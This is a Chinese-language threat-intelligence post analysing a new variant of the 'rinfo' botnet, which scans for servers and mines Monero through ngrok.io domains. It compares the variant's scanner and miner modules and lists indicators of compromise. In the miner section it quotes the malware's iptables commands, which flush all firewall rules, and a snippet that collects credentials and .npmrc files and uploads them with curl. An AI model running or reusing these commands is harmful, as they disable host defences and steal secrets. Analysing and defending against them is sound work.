版权

版权声明:本文为Netlab原创,依据CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。

概述

2018年我们公开过一个利用ngrok.io传播样本的扫描&挖矿型botnet家族: "利用ngrok传播样本挖矿",从2020年10月中旬开始,我们的BotMon系统检测到这个家族的新变种再次活跃起来,并且持续至今。相比上一次,这次来势更加凶猛,截至2021年2月6号,我们的Anglerfish蜜罐共捕获到11864个scanner样本,1754个miner样本,3232个ngrok.io临时域名。样本捕获情况可以参考下面的捕获记录。

目前该家族仍在传播之中,本文将结合老版本对新变种做一对比分析,要点如下:

  1. 该家族整体结构未变,仍由扫描和挖矿2大模块组成,扫描的目的仍然是为了组建挖矿型botnet。
  2. 样本跟2018年分析的那批同源,只是功能稍有变化,为最新变种。
  3. 新版本仍然依赖ngrok.io来分发样本和上报结果。
  4. 扫描的端口和服务有所变化,不再扫描Apache CouchDB和MODX服务,同时增加了3个新的扫描目标:Mongo、Confluence和vBulletin。
  5. 跟老版本一样,新版本的扫描模块仍然只是探测端口和服务然后上报,并没集成exploit。

样本对比分析

该家族由2个核心模块组成:负责扫描的scanner和负责挖矿miner,它们均用bash脚本编写。因为scanner模块中使用一个“/tmp/rinfo”开头的文件保存结果,所以将这个家族命名为rinfo。值得说明的是,scanner和miner模块均是由loader单独植入的,它们在代码上不存在绑定关系:我们既没有在scanner模块中发现下载和执行miner模块的代码,也没有在miner模块中发现涉及scanner模块的代码,把他们关联起来的唯一线索就是同样的loader IP和同样的被攻击端口。结合样本,我们推断scanner应该是起始模块,在扫描到目标主机完成上报后,攻击者既可以选择继续植入scanner模块,也可以选择miner模块。理论上攻击者还可能植入其它的功能模块,对此我们会保持关注,有进一步的发现将会及时披露。

scanner模块

scanner模块的分析基于样本md5=01199e3d63c5211b902d18a7817a6997。跟老版本一样,真正的扫描还是通过zmap、jq、zgrab这些2进制软件完成的,scanner模块只是下载并执行它们,然后将结果上报。因为没有发现exploit相关代码,所以怀疑还存在单独的漏洞利用模块,这个模块应该是由loader在后台运行。整个scanner模块如下图所示。

跟老版本(md5=072922760ec200ccce83ac5ce20c46ca)相比,新版本最大的变化是目标扫描端口和服务,老版本针对的端口和服务如下:

TCP 6379,Redis
TCP 2375,Docker client version 1.16
TCP 80/8080,Jenkins/Drupal/MODX
TCP 5984,Apache CouchDB

新版本不再扫描5984端口,但增加了TCP 6380和443。服务方面,新版本去掉了Apache CouchDB和MODX,增加了Mongo、Confluence和vBulletin。新版本的扫描端口和服务如下:

TCP 6380, Redis
TCP 2375, Docker client version 1.16
TCP 80/443/8080, Jenkins/Mongo/Drupal/Confluence/vBulletin

另一个变化是上报扫描结果的url的模式,老版本url形如:

hxxp://cc8ef76b.ngrok.io/z?r=40ddb986122e221e08092943e5faa2ed&i=2a6da41fcf36d873dde9ed0040fcf99ba59f579c3723bb178ba8a2195a11fb61cb6b669ed0f32fb9bdc891e64613e0c8aad46642f7a9b68ccea30244b4d0addf6d506be7e2c71c3c3793762e8e2a40117f62f0688cfad660a6f9529d3e17e183d769864ea45294d9dca4712ee73d5744&x=${excode}

新版本变成了2个url,并且url的i参数值变短了:

hxxp://0c9cbf209b1c.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=${excode} 
hxxp://b78cf6364fd3.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=${excode}

需要说明的是上面所有url中ngrok.io的subdomain都是不固定的,在不同scanner样本中其值并不相同,这也是为何scanner样本数超过1w的原因。至于原因,之前的blog也说了,应该是为了增加防御难度。

第3个变化是扫描网段的设置。在老版本中是以bash shell数组的形式指定,在新版本中变成了单一值。

#老版本的扫描网段设置
IPR="13.238.160.0/19 52.33.224.0/19 194.42.160.0/19 37.123.128.0/19 146.88.0.0/19 39.97.32.0/19 117.73.160.0/19 58.119.224.0/19 118.89.224.0/19 211.109.32.0/19 211.186.192.0/19 58.123.32.0/19 58.229.224.0/19 52.123.32.0/19 52.244.192.0/19 52.250.224.0/19 63.34.192.0/19 3.114.224.0/19"

#新版本的扫描网段设置
IPR="94.130.96.0/19"

不同scanner样本的IPR值并不相同,说明作者对扫描网段设置是有选择的。目前我们从捕获的样本中共检测到700多个目标扫描网段,掩码都是19位。

miner模块

miner模块的分析基于样本MD5=1d74fd8d25fa3750405d8ba8d224d084。跟scanner模块类似,miner模块只是一个bash脚本,具体的挖矿行为也是通过下载和执行2进制矿机程序实现的。

跟老版本相比,新版本的miner模块变化不大,对ngrok.io使用模式也相同,差别在于:

  1. 新版本不再下载和运行fc程序,矿机程序集成了新的钱包地址。
  2. 新版本去掉了感染本地.js文件的功能。
  3. 增加了几行iptables命令,目的在于取消各种网络限制。
  4. 添加了窃密功能。

新增加的iptables命令如下:

iptables -P INPUT ACCEPT >/dev/null 2>&1
iptables -P FORWARD ACCEPT >/dev/null 2>&1
iptables -P OUTPUT ACCEPT >/dev/null 2>&1
iptables -t nat -F >/dev/null 2>&1
iptables -t mangle -F >/dev/null 2>&1
iptables -F >/dev/null 2>&1
iptables -X >/dev/null 2>&1

老版本末尾的感染.js代码被如下的窃密代码代替:

find /home -maxdepth 5 -type f -name 'credentials' 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %'>>$CFG 2>/dev/null
find /home -maxdepth 5 -type f -name '.npmrc' 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %'>>$CFG 2>/dev/null
if [ -s $CFG ]; then
  curl -s -F file=@$CFG "$HOST/c?r=${RIP}" >/dev/null 2>&1
rm -rf $CFG

这段代码会寻找/home及其子目录下的credentials和.npmrc文件,然后将他们上传。

跟老版本一样,整个miner模块中都通过一个$HOST变量访问download server,后者指向一个临时ngrok.io域名。这是miner模块区别于scanner模块的地方,后者给每一个url都分配了不同的ngrok子域名。

结论

新版本的rinfo不管从模块结构还是手法看,跟之前相比都没有大的变化,猜测背后应该还是同一伙人。

从我们捕获的样本来看,新版本的rinfo目的还是在于组建挖矿型botnet,这可能跟近期比特币涨价有关。但不管是scanner还是miner模块,都是由背后的loader选择性的植入的,所以理论上他们完全可能植入其它的功能模块,对此我们会保持关注,有新的发现将及时公布。

因为rinfo家族重度使用ngrok.io来传播和回传,其频繁更换的ngrok临时域名给防御带来了困难,我们建议根据url模式进行检测和封堵。

IoC

attacker&loader IPs

185.242.6.3
185.159.157.20

scanner模块及下载url

01199e3d63c5211b902d18a7817a6997 http://738a39f8d49c.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=0
...(此处省去1w+ 行)

scanner模块用到的2进制程序及其url

1ad3216964d073dabec2b843a06042f9 zmap http://bda5861e074e.ngrok.io/d8/gmap
8f797aef388194277307345ba1bdeb08 zgrab http://3aee228ab53a.ngrok.io/d8/zgrab
c3461eb5b1abe7551023ef5964ca9080 jq http://1edab0651a2b.ngrok.io/d8/jq
...

scanner模块回传结果的url

http://0c9cbf209b1c.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=0
http://b78cf6364fd3.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=0
...

miner模块及下载url

1d74fd8d25fa3750405d8ba8d224d084 http://4bfd95b92a04.ngrok.io/f/serve?l=j&r=99341660c472f43e8124bc255aa0571bt
...(此处省去1w+行)

miner模块用到的2进制程序及其url

323c22138cc098c3d1c11b47fda3c053 CoinMiner http://bcaf48a9ab6b.ngrok.io/d8/nginx
2b9440c2c2d27a102e2f1e2a7140b57c Doki http://bcaf48a9ab6b.ngrok.io/d8/daemon

miner模块回传结果的url

http://522240bf9589.ngrok.io/contact?k=1
http://522240bf9589.ngrok.io/contact?r=99341660c472f43e8124bc255aa0571bt&e=1

矿池和钱包地址

pool: xmr-eu2.nanopool.org:14444
wallet: 49JzXdLYqybL4a2u3hpa46WbqiYmd3xT1intPPDxzLR6hRJ81LA72tEMdgESxPnK2hEcVtom3m7ABisXShQkjzZ4DpipeD1

pool:xmr-asia1.nanopool.org:14444
wallet:49JzXdLYqybL4a2u3hpa46WbqiYmd3xT1intPPDxzLR6hRJ81LA72tEMdgESxPnK2hEcVtom3m7ABisXShQkjzZ4DpipeD1

pool:xmr-us-east1.nanopool.org:14444
wallet:49JzXdLYqybL4a2u3hpa46WbqiYmd3xT1intPPDxzLR6hRJ81LA72tEMdgESxPnK2hEcVtom3m7ABisXShQkjzZ4DpipeD1

参考

https://blog.netlab.360.com/a-new-mining-botnet-blends-its-c2s-into-ngrok-service/
https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/